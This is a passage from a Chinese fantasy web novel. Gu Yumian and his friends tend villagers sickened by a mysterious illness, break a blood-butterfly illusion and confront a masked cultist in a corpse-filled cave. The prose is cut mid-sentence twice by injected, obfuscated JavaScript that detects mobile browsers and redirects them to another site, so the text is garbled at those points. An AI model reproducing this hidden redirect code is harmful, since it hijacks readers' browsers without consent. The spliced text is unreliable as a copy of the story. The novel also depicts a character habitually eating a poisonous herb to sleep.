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周围的人听了那话,是又哭又笑,有的哭着哭着便笑了,也有的笑着笑着便落下泪来。 那话像针扎在顾於眠心上,然而还不等他向前,一从营帐中钻出的人便蹲在了那男子面前。 声如雨落清泉,温润柔和,“您别担心,这病一定会好的。” 那人一只手轻轻盖在了男人攥紧的拳上,另一只手则在男子面前晃了几下,显然在施法,“很快便不疼了。” 他所言非虚,片刻之间,如蚁啮心的疼一瞬化为乌有,似是片刻自无间地狱重返人世。 将至不惑的男人,眼泪哗啦一下都流了出来。 “活菩萨……”,男子下一刻便颤抖地握住那人纤长白皙的手,奈何本就是不善表达之人,感激之言堵在喉口吐不出来。 “是我们让你们受了罪,这都是我该做的,只是还无法根治,请再等等。”,那人语声依旧温和,他又安慰了几句,这才站起身来。 雪青色的长衣上绣了忍冬纹,只是这会沾了泛黑的血与脏污的泥,衣摆已看不太清颜色。 几人始终没能看清那人的面容,但只看背影却也知道是个身形高挑纤长的男子。 谢府竟有如此人物。 他突然回过身来,除了谢尘吾,其于三人均是一惊。 只见那人肤白似雪,偏又唇色朱红,眉目盈盈若含白露水光,眼睫翩跹,薄唇上扬,鼻梁高挺精致,微有凉意,浑然若清秋之月。 此时那男子正笑看四人,清新似月映涌泉,波光粼粼。 肩阔腰窄,头小腿长,雪青色长袍里是丁香色和淡红色的内村,颜色浅浅,轻衫薄薄,倒像极他那极柔软的性子。 “吟……吟离?”,顾於眠本便是个不认脸的主,他当时没能认出严卿序来,这会他也没有十足的把握确认眼前人。 “嗯!”,沈吟离笑着走上前来,张开了怀抱,只是双臂停在了半空,“欸,差点忘啦,我这现在身上都是药味同血味,便不拥抱了。” 只是顾於眠哪里管这个,他笑得灿烂,一把揽住了沈吟离,“我什么时候在乎过这些?不必拘束!” 顾於眠拍了拍他的背,“我们三年未见了!没曾想这回来人是你!” 顾於眠和沈吟离是四年前在虚妄山认识的,本也不过简简单单同窗之谊,奈何沈吟离不仅长得玉树临风,还天生的好心肠,待谁都是温温柔柔,几乎是人见人爱。 那时尚且年少的顾於眠多少也有些顽劣,时常半夜入山寻刺激,每每回去总带着一身伤。 虽然他快活得很,但伤不治肯定也不行,沈吟离误打误撞见到顾於眠那狼狈而又灿烂的模样几次,熟络后顾於眠便总依赖他来替自己疗伤,一来二去,二人也算投机的朋友了。 说起来,沈吟离什么都好,只是他有个睡梦中受不得人扰的毛病。 无论是被惊醒还是突如其来的早起,他都会带上一股凌厉的怨气,像变了个人似的,任谁劝都没用。 只有让他自个冷静一柱香的功夫左右,他才会恢复理智,但怨念消去后,又是一如既往的温柔入骨,直让那些在他发狠时受了委屈的人不知何处喊冤。 许昭安刚上山那会便深夜误闯他的屋中,不小心将熟睡的沈吟离惊醒了,带着凛凛剑气的长刃一刹就挂上了脖子,可把许昭安吓得魂都没了,这辈子都忘不掉。 但百权本便是尚武之地,沈吟离的武艺自然也是出奇绝尘。 若只比武试,便连谢尘吾也要忌惮他三分。 他腰间佩着的浅紫色而携金纹的长剑“缘芜”,剑身长而型佳,便为名匠所铸。 “沈家竟会让你来?令尊此次还真是慷慨。” 谢尘吾本也不知此次来人会是沈家大公子,但他向来没什么多余的感情,这会依旧是波澜不惊。 “安晏营准了假么?”,严卿序笑问道。 沈吟离笑着摇了摇头,“恰遇上休沐。父亲同我说了谢地这事,我觉得放心不下,便来了。” 言罢他又向周遭望了望,“夜里再寒暄吧,这会恐怕抽不出时间来。这病来得古怪,我还得再观察一下。” 几人点点头,也都分散开来,各自寻活干去了。 20. 心安 不能枯骨生肉,却已是杏林春满。 沈吟离仁心仁术,博施济众,是天生的善人。 而顾於眠这披着菩萨皮的罪人,同他已是云泥之别。 因而纵心底有千百想法,他也从未觉得自己能与严卿序、沈吟离之流相提并论。 他像一纸摊开的残卷,上边乌泱泱绘的尽是山光水色,然而一把火烧了上去,余烬生烟,陆倾行告诉他,这图上画的应是盛世安康。 他生来也不是没有一丝半点悲悯之心的恶徒,只是,植根心底的最迫切的欲望,不是他人而是自己。 枕山而眠,他想要的不过采菊东篱,煮茶听雨,他没那么博爱的苍生仁义,比不得心怀家国的君子们。 说他自私也好,说他有违“仁德”之家训也罢,他本就是凡俗,不过想活得轻松些,心无挂念,万事胜意,快活如神仙。 但没办法,梦魇之毒蚀骨锥心,他不怕疼,但他心愧。 话说回来,他倒有妙手回春之心,只可惜他自个的术法向来又猛又烈,根本把握不住术法疗伤的度。 虽说偷学常叔的“艺”,他对医术并非一窍不通,相关的医书读了不少,配药也还过得去,但白玉微瑕毕竟掩不得。 前月许昭安受伤,顾於眠施法替他疗伤,差点没把许昭安疼死。 顾於眠于是只能跟在一老医师身边替他打下手,那老医师见他口齿伶俐,药草识得也多,还甚是欢喜。 老一辈的医师多豪爽大方,像他家里那位常医师一般,不拘小节,也没有什么所谓的尊卑贵贱陋观,见顾於眠穿着华贵,也不去问他是哪家的公子,只道:“小子,你要不要跟着我学医术呐?” 顾於眠本在打包草药,闻言,笑道:“多谢您垂青,小辈其实已经有师傅了。” 那老医师仔细地铺平草席,又搬过药臼来,听了那话只撇了撇嘴,“你师傅叫什么名字?” “我师傅名唤‘常柎’,师傅他不太肯认我,只零零碎碎的教给我一些东西。想来还是我过于顽劣,对医术不够上心,师傅便不愿意教我。” “渭于常柎?” “渭于?”,顾於眠摇了摇头,“说来惭愧,我不知道常叔是何地之人,我记事起他便在我家府上了。” 那老医师闻言突地不说话了,只是手没停下来,用石杵在药臼中来回捣弄,又像是陷入了沉思般,捣药的速度逐渐慢了下来。 半晌,他将手擦在衣裳上,严肃道:“要跟着你师傅好好学。” 顾於眠点了点头,帮医师把捣好的药草都倒入了瓷碗中,又跪坐在一个百姓身边,将捣烂的草药与汁液涂在那些肿块与疮疤上。 “老先生,这草药是?” “沈公子带来的,沈家药园里种的,叫做‘复灵草’,有奇效,可消肿块、除蛊虫。”,老医师摸了摸胡须,“只是沈公子也拿不出根治这病的药方。” 言罢,老医师叹了口气,“这世间千奇百怪的病都有,哪能种种都找到解药。” “既是人为,且别有所图,则必有解法,否则一不小心便会殃及池鱼。” 老医师点了点头,“话是这么说没错,但人心难测,有的人发起疯来,把自己赔进去连眼都不眨一下的。” 那帐里昏暗狭窄,只躺着两个百姓,他们脸上都缠着白布,惟有一双眼睛从缝间露了出来,一声不吭地瞧着顾於眠和老医师磨药。 “还疼吗?”,那医师问了句,“若是我这麻沸散不管用了,我便唤沈公子来用术法帮你们止痛。” 两人都摇了摇头,别过头去,没有说话。 顾於眠知道他们这是不想外人见了自己的模样,于是他也知趣道:“老先生,若是这里没有我可以帮到忙的,我便先出去了。” 老医师行医这么多年,自然也明白,挥了挥手,让顾於眠走了。 出了帐篷,映入眼帘的依旧是疮痍与沉重,只是没有了方才那般苦涩,多数人脸上都挂着由心的笑容。 那雪青色翩翩长衣过处,留下的似乎从来都是舒心与慰藉,若雁过留痕,带走一地的喧嚣与嘈杂。 顾於眠觉得有些惭愧,他的术法没有办法用在治病救人上,他怕加剧伤患的痛苦,于是只能“袖手旁观”,像扑腾在干涸的池中的游鱼,只留下了令人生厌的挣扎之声。 “怎么了?”,只听得一声如玉温润的问声,身侧已站了一人,那人伸手便轻轻拍在顾於眠肩上。 突如其来的举动让发愣的顾於眠大吃一惊,他猛一挥手便将那人的手拍开了,登时俩人都愣在原地。 不过眨眼的功夫,严卿序便藏起了眸中的惊讶,自然地将手垂了下来,只笑得像一阵清风拂过山河万里,“这会营里事都办得差不多了,我陪你去外边走走吧?” 顾於眠张嘴想道歉,严卿序却摆了摆手,笑道:“多生分呐。” 继而他便领着顾於眠出了营帐,一路上避开压抑沉重的事务,尽挑了些轻松的趣谈讲,没给顾於眠留下焦虑的空隙。 严卿序表面同往常一般,只是,后来他再触碰顾於眠前总会更加小心翼翼地考量一番,他不愿再触到顾於眠心中逆鳞了。 打在自己手上的力气不重,却敲在了心上。 “卿序,你觉得怪病、毒草、血蝶三者有何联系?”,心情畅快后还是得谈正事,顾於眠偏了偏头问他。 严卿序见他眸中已无方才的惶惶不安,又是平日那活泼轻快的模样,也知道可以谈正事了。 于是他耸耸肩道:“血蝶穴中定有死人,死人身上携毒,随溪流淌入村中,致使村民染病。只是……毒草,我并不能够理清其中关系,或许本就没什么关联?” 顾於眠轻轻摇了摇头,“血蝶,用人话来说‘认生’,说的不是认人,而是草木气味。” 说着,他拾起一个粗木枝,在地上勾勾画画,“尘吾说那日他在暮海棠丛见到了血蝶,这便说明,血蝶曾经吸食过服用过暮海棠之人的鲜血。但血蝶吸血,不尽则不罢休,添九村中无异常死亡者,则那些人如你所言不在村中,而是在血蝶穴中。” 顾於眠叹了口气才说,“先前我也不明白,这大片的暮海棠究竟有何用,但将三物具齐,惟有炼尸作鬼仆可能性比较大。血蝶嗜血,得死人,死人入药,成鬼仆,药入溪,成怪病。” “炼尸为仆是死罪,背后之人既有备而来,定也在暗中窥伺,恐怕不等我们动手,便已经全身而退了吧?” “所以这次我们抓不到他。” 严卿序脸上的表情有些凝滞,“会有更多人受害吧?” “他恐怕也是为了试我们,我们便也敲打敲打,借机探探他的本事。办得好的话,没准还可以给他个下马威。”,顾於眠耸了耸肩。 继而他犹豫道:“只是……墨家兵符一事还没有个着落,像心底的刺,不拔干净,总有一天会血淋淋的沾一身腥。” “於眠你记得苑山山顶,你说过什么吗?”,严卿序帮他把地上画的图给踩散了,笑得温和,“你说,‘人这一生,飞鸿踏雪泥而已’。你看得如此通透,又如何不懂?” “身不由己啊。”,顾於眠也笑了,又揽上严卿序的肩,“日落了,我们回去吧。” 顾於眠当然明白,只是自从三年前虚妄山那日起,他便恍恍惚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16775680|190300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惚,像是身子还是自己的,而心已是两瓣似的。 他心中生着一团火,红焰交杂蓝焰,一团来自于最纯粹的以枕山而眠为乐的自己,一团属于那心系苍生的陆倾行。 替一人活着,为自己赎罪。 他不是温文尔雅的大善人,所以只得尽可能的模仿陆倾行,效他仁义,效他博爱。 然而,迟来的疑虑令他坐立难安,那梦魇在心底生了根,发芽,甚而开出诡异的花来。 不必要的怀疑有时也似疯狂蔓延开的浓雾,逼得他喘不过气。 为何要折磨自己?放下他,走出去,过自己的人生,别再计较三年前的事了。 谈何容易? 他无数次问自己为何要如此压迫自己,他得到的却是不能再清楚的答案,他一直都心知肚明的答案——为求心安。 所谓“恐惧”从来不属于过去亦或者如今的顾於眠,他没有害怕过什么阴邪玩意。 但,他害怕“失去”。 三年前陆倾行死的那一刹,他彻彻底底明白了自己这辈子都接受不了“失去”之痛。 他可以从来都不拥有什么,但他不能接受拥有后又握不住那刻骨铭心的痛感。 他如何不懂? 他都懂。 顾於眠耸了耸肩,“人嘛,时不时犯些糊涂。”,将揽着严卿序的手放下了。 严卿序见他笑着回过身去,只给自己留下一个孤独的背影,瘦长的人在晚风中像是飘荡的浮萍,看不到归途。 “会好的,都会好的。” 顾於眠没有回头,像是没有听清,“什么?” 他依旧向前走着,只是察觉到严卿序没有跟上来,他的步子迈小了些,“卿序怎么走得这样慢?” 严卿序知他不想让人看见脸上那副落寞的神情,也没同他并肩走,只是默默跟在他的身后。 他没有什么怨言,即使一辈子都像个影子般跟在他的身后,他也不会吐露半点不满。 他心甘情愿。 清朗的月光散了两人一身,银晖勾勒出眸中人的精致的轮廓来,无边静谧终究揉进了些风月深情。 ------------------------------------- 已是子时,添九那处归谢家的府邸却依旧灯火灼灼,门前只立着两个巡夜的玄卫,院内惟两个小厮坐在阶上等候主子的命令。 客堂中,五人默默坐着,纵三年未见,此时却也都没什么举杯欢饮的兴致。 “解病的药方我尚且不能配出,恐怕还得费些功夫。”,沈吟离叹了口气,“千奇百怪的病都见过了,却唯独没见过这样奇怪的,像是将许多病杂糅在一起了,却又不至于要了人命。” “要想寻到解药,恐怕还得至血蝶穴中去找。百姓们只依靠药草和术法来止痛终究不是长远之计,明早我们便循溪入山。”,顾於眠握紧了手中的瓷杯,“不能再坐以待毙了。” 谢尘吾在桌上铺开一张舆图,用红墨圈出那条南添溪,“这溪源头位于添九北面的群山,并不长,只是隐匿于群山中,山路怕是难行。” “那便御剑,”,江念与抿了口酒,淡淡说了句,“若是有阵法限制再说。” “是个好办法,只是……”,顾於眠瞅着那舆图,有一下没一下地敲着桌子。 四人齐齐看向顾於眠,只听得顾於眠那清润的声音在寂静的屋中留下令众人信服的回答。 夜色深深,林鸱的森森叫声传入府邸中,在摇曳的火烛间飘荡。 待人散去,入骨的孤独便似毒蛇在晚风中吐着信子,同异乡客四目相望。 21. 梦魇 月色如水,清晖满地。 顾於眠立在镂空的木窗前,手中杯盏里盛的是安神的灯心竹叶茶。 已至丑时,他却毫无困意,只是夜夜如此,早已习惯了,连眉头都没皱一下。 寻常时候,不论他位于何方,隐卫都会来陪他。 顾府的隐卫习惯了坐在屋顶上同他侃天侃地,或者借轻功一跃而下,靠在窗沿边上,向他汇报四地之事。 只是如今他人在谢地,顾府的隐卫来不了,他只能坐在窗前独自饮茶,虽已是头疼欲裂,却麻木地静静仰头望天,披了一身月光,苍白的面庞看不出一点少年意气。 晚风微凉,他只一身薄衣,却也不闪不躲,任风穿过发梢,拂过眉目,像是敞怀拥风入怀,也像卯足劲要抵挡凉风的侵扰。 但毋庸置疑的是,这是他在夜里唯一能使自己确信尚且存活于人世的办法。 他看点点微光在草丛间闪烁不定,便又想起童龀之年同好友扑流萤的事来,他是想笑的,却不知怎地唇角如何都勾不起来。 “倾行,我不会让你失望。”,顾於眠自言自语道,那话说得很轻很轻,却又不能更坚定了。 顾於眠望着空中那轮孤月,终于勾唇笑了笑。 三年前的血债,他一辈子都还不清。他连自己配不配站在那些正人君子身边都不知道。 他可以装傻,只不过会心愧罢了。 罢了。 顾於眠走到铜镜前坐定,轻轻取下头上那淡蓝色的发簪与发冠,乌发一下落至白皙的脖颈间,若黑瀑倾洒于宣纸上。 他摩挲着冠上錾刻的纹路,苑山落日中严卿序那副春风清柳般的笑脸又浮现在眼前。 顾於眠知道严卿序是如玉的翩翩公子,落入污墨中都沾不到一丁点脏。他干净得似一眼见底的清泉,就是石子落进去,也会发出叮咚的回响。 但他顾於眠不是,铜镜中的人满面都是血,浓黑的浆液从额间淌出,顺着惨白的脸下滑,滴在白衣上,将那衣裳染得不成样子。 当他轻轻将手指触碰那并不清晰的镜面时,他便可以看见自己连指缝间都掺着人的血肉。 香炉里燃的不知什么香,浓郁得让人感到些许不适,却根本盖不住那令人作呕的血腥味。 顾於眠看见披散着发的自己像个恶鬼,连眼中都淌出血来。 他习惯性地伸手去擦,结果却沾得到处都是,身上尽是血,擦不干净。 顾於眠笑了,眼中却尽是苟活的悲怆。 他活着,却凄惨得像个将死之人。 三年了,他知道眼前种种不过噩梦一场。但,他摆脱不了。 他索性在床榻上躺了下来,只是,抬眸是血,闭目还是血,他身上的血把被褥都染成了赤色。 真脏啊。 但他不在乎,也无力去在乎。 顾於眠轻轻抬眸,回头瞧了瞧身侧躺着的死尸,那每日不重样的尸骨已经寒透了,只是还圆睁着双眸,像是在告诉顾於眠,他是如何凄惨,以至于死不瞑目。 “真羡慕。” 一死万事休。 顾於眠转过头去,解开了贴身的香囊,药草的清香一瞬间散开来。 他熟练以至于有些麻木地从中取出个翠色的叶片来,放在嘴中,也没有咀嚼,便咽了下去。 咽下去前的一刹,他想起常柎的千叮咛万嘱咐来,他告诉顾於眠不要直接将带毒的宜眠草吃了,无论多痛苦都不行,只能放香囊中配着安神。 但他还是咽了下去,许是他向来蛮横,尤其是夜里,迷迷糊糊的罪恶感包围自己时,他便像挣扎不得的笼中困兽,那话也只能被抛到九霄云外去。 算上今天这片,他已经吃了三十片了,像是上瘾了一般,几乎是月月都要吃一次。 今日不睡不行,明日还有重任在身——他只这样想着,在黑灯瞎火中寻点无谓的安慰。 夜太长了。 ------------------------------------- 暖树枝上雀,啁啾鸣朝阳。 只见一人几步踏上青石阶,稍显犹豫地轻轻叩响了门。 “於眠,你醒了么?今日还要入山。” 屋外低低唤声将顾於眠给吵醒了,他轻轻揉揉眉心,便挣扎着起身下了床。 这会没了血腥味,屋内那浓郁的熏香更显得刺鼻。 镂空的香炉中还飘散出淡紫色的烟来,但顾於眠没有这雅兴,只拂袖送去阵风,将炉内的烛芯给掀灭了。 顾於眠将木门拉开,便见曦光中站了一人,灿灿金光从身后照来。 屋内昏暗,顾於眠的眼睛还未适应过来,忍不住伸手遮了遮光,却还是有光从指缝间钻了进来。 严卿序见状也将手在距他眼前几寸之地停了下,遮去些光,笑道:“先入屋去吧,缓一缓。” 顾於眠没乖乖照办,反倒挣扎着睁开一只眼,又扒拉下严卿序修长的手来。 只一眼,笑意便在顾於眠眉目间显露出来。 眼前之人着一袭霁青色长衣,衣上隐隐勾勒着严家家纹,纹路大气豪壮,未披袍,衣摆亦不及地。 玄色护臂上勾勒着些金云雷纹,束起的长发没有盘成发髻,披散些许,倒有了几分江湖侠气。 他手中还握着焚痕,整个人显得很利落。 平日里严卿序总长袍拖地,虽也多为玄衣,但温润如玉的性子总能盖过眉目间的寒意,偏少了些百权严家的武将气概,反而像儒雅博学的夫子。 今日这般装束,却像取下了藏威之布、障目之叶,将严卿序浑身的威风意气毫无保留的置于众人面前。 若不是今日见了他这副样子,顾於眠都快忘了这剑眉星目的男子是如何强大到以武扬名了。 顾於眠于是笑道:“卿序今日倒不似天上仙了。” 严卿序闻言也笑了,“那像什么?” “画中山,山顶松,松上枝。” “是天上仙好还是画中山好?” “山河万里才更像你,”,顾於眠把门大开来,伸了伸腰,请严卿序入屋来,“看多了细雨清风,还是黄沙孤雁来得痛快。” 严卿序听了那话,觉得耳边有些发烫,偏又瞧见顾於眠一副慵懒模样,乌发都随意地披在肩上,发上还起着旋,衣衫凌乱,露出白皙的脖颈与锁骨来。 严卿序于是默默地移开了目光,人坐在屋中,眼睛却只得瞥着外边。 “大家都醒了?” “还没,”,严卿序笑得有些无奈,“吟离他……尘吾倒是硬着头皮去了,也不知道如何了。” “尘吾可不需硬着头皮,”,顾於眠忍不住笑出了声,“只是恐怕要和吟离起了争执。” “嗯……”,严卿序想了想,觉得实在无可反驳,谢尘吾的性子他是知道的,于是也只能无奈地叹了口气。 果不其然,两人到堂中的时候,一脸怒意的谢尘吾已经站在那了。 两人都识趣的没说话。 偏巧这时江念与踏进门,见了谢尘吾那副要杀人般阴郁的脸,讽了句,“谢公子,大早上过的和日中似的。一些鸡毛蒜皮的小事都能惹你大动肝火。” 谢尘吾艴然不悦,没理会江念与,倒转向严卿序,怒道:“沈吟离他发什么疯?” 严卿序好言相劝,才终于知道,沈吟离因谢尘吾惊醒后拿他那把未出鞘的缘芜剑挂上了谢尘吾的脖颈。 谢尘吾从来没见过沈吟离那副样子,着实有些吃惊,现在大抵还缓不过来。 顾於眠强忍住笑,把头都埋在了江念与的肩上,死命憋住清脆的笑声,浑身颤抖。 只是那细碎的声音怎可能逃得过谢尘吾的耳朵,谢尘吾正要开口骂,“顾於眠!你……” 沈吟离偏巧这时候踏入了屋内,面上带着些讪讪的笑,“大家早上好呀!” 言罢,他又几步到了谢尘吾面前,惭愧道:“尘……尘吾,抱歉,我控制不住……” 谢尘吾见了他那副愧疚得要钻到地里的表情,竟一时说不出话来,只冷哼一声走到椅前坐下了。 沈吟离也默默跟着坐到他身边,嘴里还不停道歉。 谢尘吾板着脸,瞥了他一眼,终于说了句,“行了……” “那便如昨夜所言,我们出发吧。” 顾於眠擦了擦笑出的眼泪,站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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江念与则一言不发,走了个相反的方向。 顾於眠推门入了一屋,屋内收拾得很干净,毫无尘灰,正因太过规整,反而不似有人住的样子。 屋中摆着一把木琴,琴边放着盏茶,还是温热的。窗户外伸入夭夭桃枝,令人更觉踏入仙境。 “抚琴品茗,听风赏桃,当真快意。” 顾於眠正想着,那桃花浓香又阵阵飘来,那香味有些熟悉,似乎在哪里闻过。 他一边思索一边翻翻找找,只是一不小心,长袖拂过茶杯,那杯便落在地上碎了。 顾於眠一惊,伸手去拾那碎片,谁知碎片过于锋利,将顾於眠的手划开个浅浅的口子。 刹那间,周遭香气似乎又了几分。 顾於眠于是缩起手,瞧了瞧那往外冒血珠的伤口。 谁曾想,始料未及的事发生了。 只见那伤口一点点愈合来,不过片刻间,便消失了,连条疤都没有留下。 寻常阵法受的伤都是实打实的,根本不应如此。 只听得脑中细弦崩断之声。 说来可笑,他们又一次成了瓮中之鳖。 假的,都是假的。 这连阵法都不是,不过缥缈幻境,到底是人为还是血蝶所制? 从什么时候开始? 到底从什么时候开始落入了圈套中? 入村?行舟? 如若更早呢? 血蝶嗜血为欢,遗香致幻。 香? 那浓香! 他在谢家那处府邸闻到的浓香! 顾於眠吃了一惊,却又迅速冷静下来,握紧了手中朝云剑。他觉得有些懊恼,只能怨自己疏忽大意。 从那时起便是假的,那同行者呢?真的还是假的? 顾於眠推开木门,三人都在屋外站着了。 翻飞的水红色桃瓣在天地间缓缓落下,似落了场翩翩花雨,一切都美得惊心动魄。 只是顾於眠连眼前站着的是人是鬼都不知道。 严卿序站得离他近些,这会正同他招手,“於眠,可有什么发现?” 顾於眠握紧朝云剑,走到严卿序面前,勾唇笑了。 “敢问公子尊姓大名?” 22. 巢穴 严卿序闻言愣住了,“於眠你怎么了?” 虽是这样说着,他却还是字字清晰,“百权严家,严、卿、序。” 顾於眠原意本不在问严卿序的名姓,而只为了让其分心,好施术法。 见严卿序微微一愣,顾於眠便抓住机会将手在严卿序面前晃了晃,阵阵蓝光霎时盈满周遭,引得不远处的江念与和谢尘吾都驻足观望。 只听得顾於眠启唇——“破”。 严卿序只觉一阵轻柔风过,蓝光刹时间汇聚于他眉目间,他于是微微垂眸,怎知那蓝光一瞬却熄了个干净。 “……於眠,你做什么呢?”,严卿序不知他何意,有些无奈地笑了。 “血蝶致幻,如今我们恐怕已在血蝶梦中,只是辨不得人之真假,”,顾於眠无奈叹口气,“所幸是真的。只是,你方才怎回答得那般认真,把我吓了一跳呢。” “无论你问几次,我都会答。”,严卿序看着他的眼睛,笑道。 顾於眠也没移开目光,只笑着点了点头,“下次可别看着术法往身上来也不躲不闪的,那样可要遭大罪的!” “知道是你,我才没躲。” 严卿序依旧笑着,那温温柔柔的话轻轻落在顾於眠耳边,搞得顾於眠都有些不好意思起来。 “卿序这般会说话,不知道又要迷倒多少女子。”,顾於眠笑道,“和长停待久了,情话也是信手拈来。对着兄弟可不兴如此说话呐。” 言罢,顾於眠偏头示意,走了。 情话? 这下换严卿序耳边发烫了,自己方才说了情话么? 山有木兮木有枝,心悦君兮君不知。【1】 这才是情话啊。 他瞧着顾於眠的背影,无可奈何地叹了口气。 顾於眠继而用一样的把戏试了江念与和谢尘吾,谢尘吾送了他个白眼,江念与倒不惊不怪。 只是这么一通试下来,什么发现也没有,白费力气。 “人在便成。”,顾於眠盯着那不知纵横几里的桃树,沉默了半晌。 他不知道养着血蝶的人想要什么,虽不觉得自己输了,只是有些疑惑,这局棋下的云里雾里,有时清晰,有时却又摸不着头脑。 顾於眠于是对谢尘吾道:“尘吾,我们之前说好的请求还作数吧?” 谢尘吾皱了皱眉,“你到底要干什么?” “我要你的血。” “……” 见谢尘吾默许了,顾於眠于是拉过他的手,撩开左手袖子,用短刃在小臂上划了一小刀,鲜红的血珠登时便一滴滴地冒了出来。 谢尘吾瞧都没瞧他一眼,只冷漠地站着,像是不知疼一般,立得笔挺以至于僵直。 “成了。” 顾於眠抬头看了看谢尘吾那副冷冽的面容,讪讪笑着。 只见浑身透明的蝴蝶落在谢尘吾伤口处,沾到血的刹那间便露出了本来的模样,赤红色的薄翼扇动着,触须在兴奋中不断抖动。 顾於眠没傻到直接捏碎那蝴蝶,只施了些小术法,那蝴蝶便被聚到一块的“气”给“绞”死了。 浓香又一下飘散开来,只是眨眼间,桃花源不再,血淋淋的窟穴张牙舞爪般涌入双眸中。 顾於眠瞧着那溪水在洞中尚是一片赤红血色,而身后已处穴外之水却清澈透明,这也明白了喝下那水的百姓丝毫未有发觉的原因。 严卿序帮谢尘吾撒了些药粉,把伤口给缠上了,谢尘吾无语至极,于是转头问道:“为什么是我?” “方才那可是血蝶以你的血为媒介造的梦,”,顾於眠耸肩笑了笑,“那梦境挺舒心的吧?” 连梦里都一个人都没有,还真是谢尘吾的作风。 “你如何知道?” “之前你同我说过血蝶的事吧?血蝶可不会轻易这般,它们只会找有血的地方呆,想必你当时肩上有伤吧?无论念与当时有没有把那血蝶给杀了,你都已经是血蝶的猎物了。何况我和卿序俩人可没接触血蝶,故只会以你的血来造梦。” “江念与也接触了吧?” “啊……念与这不方便嘛。”,顾於眠瞥了江念与一眼,又笑道,“重伤刚愈,受不得失血之事。” “闻所未闻,”,谢尘吾也瞥了眼江念与,“既然如此,那梦便不是我一个人的吧?怪不得如此花里胡哨的……” “欸……此言差矣,念与对那些花花草草可感不感兴趣,应是血蝶自己为了吸引猎物造出来的。” “於眠,尘吾。”,严卿序突然喊了他们一声,停下脚步,用手指了指上方。 几人于是抬头望去,只见穴顶用白布悬着些人,皮都被剥了,露出血淋淋的皮肉来,上边密密麻麻爬着血蝶,飞动扑翼之声嘈嘈杂杂。 “……真恶心。”,谢尘吾踏在血浆中,如行地府,“疯子才干得出这事。” “疯不疯不知道,死罪难免倒是真的。” 穴洞的上方还密密地布着蛛网,只是上边没了抖着腿的蜘蛛,血蝶可不光吸血,饿起来什么都吃。 那八腿蜘蛛辛苦吐出的白丝网上如今正歇着几只颜色刺目的血蝶,鸠占鹊巢,巢的主人早被吞入腹中去了。 “救救我……救……救……”,嘶哑的低吟声断断续续从穴深处传来。 救人心切,然而尚存的理智却令他们悬崖勒马,遏制住想向前迈去的自己。 眼前是黑黢黢的深坑,一眼望不见底,崖壁上还燃着火,仿佛下一刹便要化作火龙燎尽一切。 “不去不行,为了给血蝶供食,下边一定还关着人。”,顾於眠皱眉道。 “我下去看看。”,严卿序毫不犹豫道,“只是,以防万一,还得有人留在上边。” 谢尘吾和江念与的血毕竟已被血蝶给盯上了,若深坑中还有血蝶,恐怕不利,因而两人只得默默守在坑外。 江念与一路少言,谢尘吾同他也没什么好聊,只冷冷地望着顾於眠和严卿序纵身跃入坑中。 ------------------------------------- 眼前逐渐昏黑一片,崖壁上的火都熄灭了,什么也看不清。 那下坠感令顾於眠觉得异常熟悉,他在噩梦中无数次下落,不是粉身碎骨,便是血肉横飞。但他不怕,他从来不怕死。 快及地时,两人借术法平稳着了陆,只是脚底不知什么东西绊了一脚,顾於眠一趔趄,差点摔在地上。 只是他到底站稳了,用术法汇了些火,点燃了崖壁上的油灯。 不出顾於眠所料,满地都是白骨,有的已破碎不堪,只轻轻推推便碎成粉末。 严卿序瞧着不成样的白骨,轻轻叹了口气,“这要多久才能积这么多尸首啊……” 顾於眠落下一句“冒犯了”,便翻看起那些尸骨来,边翻边和严卿序说道:“只要他们想,一夜就可以了。墨门之变,只一夜魏家死的人比这还要多得多。” 严卿序又叹了口气,“我明白的。” 顾於眠见那尸骨中钻出些蛆虫,蠕动着,在这些不幸者的躯体间穿行。 那些虫在顾於眠的翻找中落了些在地上,还一心想着往尸骨堆中爬,顾於眠一脚将那几只虫踩死了。 但这么多尸骨,那么多虫,他杀不完。 “这么多条无辜的命,死了都不能安生。”,顾於眠默默攥紧拳头。 “有的人恐怕活着也不安生吧?”,森森语声从昏暝中传来。 只听得“轰隆”一声,崖壁处开了个石门,石门中走出个戴着青铜面具的男子。 严卿序向前一步,将顾於眠挡在了身后,然后沉声道:“来者何人?” 那人闻言却哈哈大笑,“自然是来要你们命的恶鬼!” 顾於眠皱了皱眉,“活人扮鬼,不知好歹。” 那男子倒也不恼,只恶狠狠道:“这世间本就该一族鼎立,如今这般支离破碎,我们活得蝼蚁不如,都是你们害的!” “皇天在上,我族必称王,到时你们皆是阶下囚,刀下鬼!” 那人显然是被荒唐的一族称王之论荼毒的疯子,只是他还要继续高谈阔论,顾於眠却已忍无可忍,抽出朝云便冲上前去。 那人反应出乎意料的快,一下闪开来。两柄锋利的短刀不知何时已经握在了手上。 他像是逮到猎物的疯狗,向两人扑来,似是要将人撕烂一般,步步行得摇摆荒唐,却又紧紧咬着两人不放。 三人踩在白骨上的“咔哒”声伴随着长剑挥起的风动声在深坑里发出闷闷的回响。 严卿序抽出焚痕一剑挡住那人的短刀,用力一甩,那人的刀便落在了地上。 只是那人没有片刻犹疑,手心间又飞出几个带毒的金钱镖来。 严卿序微侧身闪了过去,哪知三只袖箭又冲着脸来了。 顾於眠于是闪身至严卿序跟前,挥起朝云便将箭打落在地,不敢迟疑片刻,他又施用术法造了些迷蒙浓雾于他面前。 奈何小小障眼法根本挡不住那人的猛攻,那人又射出些袖箭,顾於眠来不及躲闪,那暗器便在他额间擦了过去,眉上几寸之地也淌出血来。 在这深坑里,他那呼风唤雨的朝云之术并不好使,一不小心便要殃及池鱼的事,他可不敢轻举妄动。 更何况,要的便是活捉,否则那人在他俩手下早不知死了几百遍了。 